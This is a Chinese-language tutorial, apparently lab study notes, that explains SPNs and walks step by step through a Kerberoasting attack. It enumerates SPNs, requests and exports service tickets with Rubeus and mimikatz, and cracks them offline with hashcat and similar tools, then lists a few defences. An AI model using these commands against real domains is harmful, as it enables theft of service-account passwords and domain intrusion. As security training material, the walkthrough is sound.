# SPN

服务主体名称(Service Principal Name,简称 SPN)是服务实例的唯一标识符 Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。这样,即使客户端没有帐户名称,客户端应用程序也能请求帐户的服务身份验证如果在计算机的整个目录林上安装多个服务实例,那么每个实例都必须有自己的 SPN

就是服务实例注册到域控中的一个标识,域控用 SPN 来表示是那个服务,一个账户可以有多个 SPN 但是一个 SPN 只能有一个账户

SPN 有两种,一是注册在 AD 上机器帐户 (Computers) 下,另一种注册在域用户帐户 (Users) 下。

当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在机器帐户 (Computers) 下。
当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户 (Users) 下。

setspn -X 查询重复的SPN
setspn -Q */* 查看当前域内所有的SPN
setspn -T yunyi.io -Q */* 查看指定域内所有的SPN
setspn -D MSSQLvc/12server4.yunyi.io:1433 sqladmin 删除spn
setspn -A MSSQLvc/12server4.yunyi.io:1433 sqladmin 注册一个spn,在12server上为sqladmin用户注册SPN服务

MSSQLvc/12server4.yunyi.io:1433是你要注册的SPN 1433是服务端口,sqladmin是启动SQL Server实例服务的帐户的名称

# Kerberosast

Kerberosast 攻击利用了 TGS_REP 阶段在这个阶段 TGS 返回的 ST 是由服务账户 hash 加密的,我们获取到 ST 后如果服务账号密码简单

并且使用 RC4-HMAC_MD5 加密因为这个加密比较容易爆破,我们就可以对 ST 穷举获取到服务账号的明文密码

利用的过程为:

第一步找到 SPN 服务

第二步请求指定 SPN 的 ST 票据

第四步导出 ST

第五步爆破

# 发现 SPN

# RiskySPN

这款工具可以发现弱密码易受攻击的 SPN,自动去除 krbtgt 用户的 SPN 服务因为这个用户因为当前用户密码是随机的不固定的 128 位字符不可能爆破出来

Import-Module .\RiskySPNs.psm1 
Find-PotentiallyCrackableAccounts 搜索脆弱Spn找到脆弱的帐户
Export-PotentiallyCrackableAccounts 产生全deatiled报告有关脆弱的帐户

image-20240314113846072

image-20240314113916993

# kerberoast-GetUserSPNs

kerberoast 工具集中的 GetUserSPNs.psl 和 GetUserSPNs.vbs 用于检测域中的 SPN

Import-Module .\GetUserSPNs.ps1
cscript .\GetUserSPNs.vbs

image-20240314113716199

image-20240314114032106

# PowerView

PowerSpolit 中的 PowerView.psl 脚本

Import-Module .\PowerView.ps1
Get-NetUser -SPN

image-20240314114307071

# 请求 SPN

查询过滤完就该去请求有价值的 SPN 了

# Rubeus 请求 spn

Rubeus.exe kerberoast请求注册域用户下所有SPN
Rubeus.exe kerberoast /format:john /outfile:hash.txt 请求后输出成hash
Rubeus.exe kerberoast /spn:MSSQLSvc/12servser4.yunyi.io:1433 /format:john /outfile:hash2.txt 请求指定的spn并输出

image-20240314120835012

image-20240314120745170

image-20240314121407174

# mimikatz 请求票据

kerberos::ask /target:MSSQLSvc/12servser4.yunyi.io:1433

image-20240314121800096

# PowerShell 命令请求

Add-Type -AssemblyName System.IdentityModel 请求服务票据
klist列出服务票据

image-20240314122815556

# 导出票据

# mimikatz 导出

image-20240314124524750

Rubeus 导出

Rubeus.exe kerberoast /format:john /outfile:hash.txt 请求后输出成has

image-20240314125002731

# 破解票据

# hashcat 破解

将刚才 Rubeus 导出的 hash 拿到本地进行离线爆破

hashcat -m 13100 hash.txt pass.txt --force

hashcat hash.txt --show

image-20240314130022282

# tgscrack

先用 extractServiceTicketParts.py 脚本对 mimikatz 导出来的票据进行转换

python2 extractServiceTicketParts.py MSSQLSvc\~12servser4.yunyi.io\~1433-YUNYI.IO.kirbi > hash2.txt

image-20240314131328670

接着用 tgscrack.go 破解

go run tgscrack.go -hashfile hash2.txt -wordlist pass.txt

image-20240314131029438

# kerberoast.py

kerberoast 工具集里的脚本

https://github.com/nidem/kerberoast/blob/master/kerberoast.py

python2 kerberoast.py pass.txt MSSQLSvc\~12servser4.yunyi.io\~1433-YUNYI.IO.kirbi

# Kerberosast 防御

设置高强度密码定期修改密码

尽可能不要使用 RC4_HMAC 加密使用更安全的 AES256_HMAC 加密

给服务账号的权限尽量不要太高